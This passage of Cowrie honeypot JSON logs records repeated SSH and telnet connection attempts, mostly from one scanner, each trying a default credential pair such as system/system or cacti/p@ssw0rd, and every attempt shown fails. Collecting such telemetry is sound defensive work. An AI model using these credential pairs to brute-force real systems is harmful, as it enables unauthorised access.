16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:07.766661Z","src_ip":"45.156.87.69","session":"a86643bde08e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:08.306200Z","src_ip":"45.156.87.69","session":"a86643bde08e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:09.494504Z","src_ip":"45.156.87.69","session":"a86643bde08e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00264167785645,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:09.557901Z","src_ip":"186.193.55.224","session":"1c511e777988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.193.55.224","src_port":28642,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e4c2125189e","protocol":"telnet","message":"New connection: 186.193.55.224:28642 (159.203.135.109:23) [session: 9e4c2125189e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:10.679139Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":35488,"dst_ip":"159.203.135.109","dst_port":22,"session":"95aa4ddc7c23","protocol":"ssh","message":"New connection: 45.156.87.69:35488 (159.203.135.109:22) [session: 95aa4ddc7c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:11.016926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:11.211136Z","src_ip":"45.156.87.69","session":"95aa4ddc7c23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:11.216704Z","src_ip":"45.156.87.69","session":"95aa4ddc7c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:12.006501Z","src_ip":"45.156.87.69","session":"95aa4ddc7c23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:13.176004Z","src_ip":"45.156.87.69","session":"95aa4ddc7c23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":35498,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3ac62df1af1","protocol":"ssh","message":"New connection: 45.156.87.69:35498 (159.203.135.109:22) [session: a3ac62df1af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:14.921162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:14.926563Z","src_ip":"45.156.87.69","session":"a3ac62df1af1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:15.012232Z","src_ip":"45.156.87.69","session":"a3ac62df1af1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cacti","password":"p@ssw0rd","message":"login attempt [cacti/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:15.269043Z","src_ip":"45.156.87.69","session":"a3ac62df1af1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:16.396899Z","src_ip":"45.156.87.69","session":"a3ac62df1af1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":40934,"dst_ip":"159.203.135.109","dst_port":22,"session":"3045685397e2","protocol":"ssh","message":"New connection: 45.156.87.69:40934 (159.203.135.109:22) [session: 3045685397e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:18.172339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:18.213841Z","src_ip":"45.156.87.69","session":"3045685397e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:18.325584Z","src_ip":"45.156.87.69","session":"3045685397e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:18.891886Z","src_ip":"45.156.87.69","session":"3045685397e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:20.006501Z","src_ip":"45.156.87.69","session":"3045685397e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46990,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6891de1e7cc","protocol":"telnet","message":"New connection: 152.42.224.71:46990 (10.17.0.5:23) [session: f6891de1e7cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:21.114107Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":40946,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc5e36ce85de","protocol":"ssh","message":"New connection: 45.156.87.69:40946 (159.203.135.109:22) [session: cc5e36ce85de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:21.698017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:21.761365Z","src_ip":"45.156.87.69","session":"cc5e36ce85de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:21.830063Z","src_ip":"45.156.87.69","session":"cc5e36ce85de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:22.190749Z","src_ip":"45.156.87.69","session":"cc5e36ce85de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:23.371946Z","src_ip":"45.156.87.69","session":"cc5e36ce85de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":40960,"dst_ip":"159.203.135.109","dst_port":22,"session":"efa2c61585bd","protocol":"ssh","message":"New connection: 45.156.87.69:40960 (159.203.135.109:22) [session: efa2c61585bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:25.221004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:25.226834Z","src_ip":"45.156.87.69","session":"efa2c61585bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:25.324882Z","src_ip":"45.156.87.69","session":"efa2c61585bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123","message":"login attempt [user/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:25.692486Z","src_ip":"45.156.87.69","session":"efa2c61585bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:26.863733Z","src_ip":"45.156.87.69","session":"efa2c61585bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":41924,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb14e656a2c8","protocol":"ssh","message":"New connection: 45.156.87.69:41924 (159.203.135.109:22) [session: eb14e656a2c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:28.793918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:28.798625Z","src_ip":"45.156.87.69","session":"eb14e656a2c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:28.896510Z","src_ip":"45.156.87.69","session":"eb14e656a2c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alpha","password":"alpha","message":"login attempt [alpha/alpha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:29.183262Z","src_ip":"45.156.87.69","session":"eb14e656a2c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:30.393200Z","src_ip":"45.156.87.69","session":"eb14e656a2c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.160117864608765,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:32.156971Z","src_ip":"152.42.224.71","session":"34fa4af30fed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":41936,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7bbb274a0d6","protocol":"ssh","message":"New connection: 45.156.87.69:41936 (159.203.135.109:22) [session: f7bbb274a0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:32.441360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:32.446855Z","src_ip":"45.156.87.69","session":"f7bbb274a0d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:32.533999Z","src_ip":"45.156.87.69","session":"f7bbb274a0d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:32.881403Z","src_ip":"45.156.87.69","session":"f7bbb274a0d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:33.967570Z","src_ip":"45.156.87.69","session":"f7bbb274a0d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":46510,"dst_ip":"10.17.0.5","dst_port":22,"session":"2821a5d17b17","protocol":"ssh","message":"New connection: 193.32.162.145:46510 (10.17.0.5:22) [session: 2821a5d17b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:34.715760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:34.721147Z","src_ip":"193.32.162.145","session":"2821a5d17b17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 